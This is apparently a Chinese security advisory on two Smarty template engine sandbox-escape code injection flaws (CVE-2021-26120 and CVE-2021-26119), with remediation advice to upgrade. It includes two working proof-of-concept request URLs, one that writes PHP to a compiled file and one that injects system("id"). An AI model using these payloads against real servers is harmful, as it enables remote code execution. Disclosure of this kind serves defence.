PHP Smarty模版代码注入漏洞(CVE-2021-26120)

发布时间 2021-02-26

0x00 漏洞概述

CVE  ID

CVE-2021-26120

时   间

2021-02-26

类   型

代码注入

等   级

高危

远程利用

影响范围

PHP Smarty < 3.1.39

 

0x01 漏洞详情

image.png

 

Smarty是通过PHP开发的模板引擎,它分开了PHP逻辑代码与外观(HTML页)以便于管理。

近日,PHP Smarty被披露存在2个PHP代码注入漏洞(CVE-2021-26120和CVE-2021-26119),攻击者可以通过利用这些漏洞来注入任意代码。

template_object沙箱逃逸PHP代码注入漏洞(CVE-2021-26119)

在Smarty中,Smarty从$smarty.template_object变量访问实例,由于攻击者可以访问smarty或parent属性,从而可以访问Smarty实例。成功利用此漏洞的攻击者可以通过构造恶意数据,最终造成远程代码执行。

POC代码如下(需两次运行,第一次写入缓存文件然后将其覆盖,第二次触发缓存并包含文件以执行远程代码。):

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

image.png

 

Smarty_Internal_Runtime_TplFunction沙箱逃逸PHP代码注入漏洞(CVE-2021-26120)

由于Smarty在编译模板语法时,Smarty_Internal_Runtime_TplFunction类在定义时不能正确过滤name属性tplFunctions,攻击者可以通过注入Payload,最终远程执行代码。

PoC代码如下:

http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

image.png 

 

0x02 处置建议

目前该漏洞已经修复,建议及时更新升级到3.1.39或更高版本。

链接如下:

https://github.com/smarty-php/smarty/blob/master/CHANGELOG.md

 

0x03 参考链接

https://github.com/smarty-php/smarty/security/advisories/GHSA-w5hr-jm4j-9jvq

https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q

https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

 

0x04 时间线

2021-02-18  Steven Seeley披露漏洞

2021-02-26  VSRC发布安全通告

 

0x05 附录

 

CVSS评分标准官网:http://www.first.org/cvss/

image.png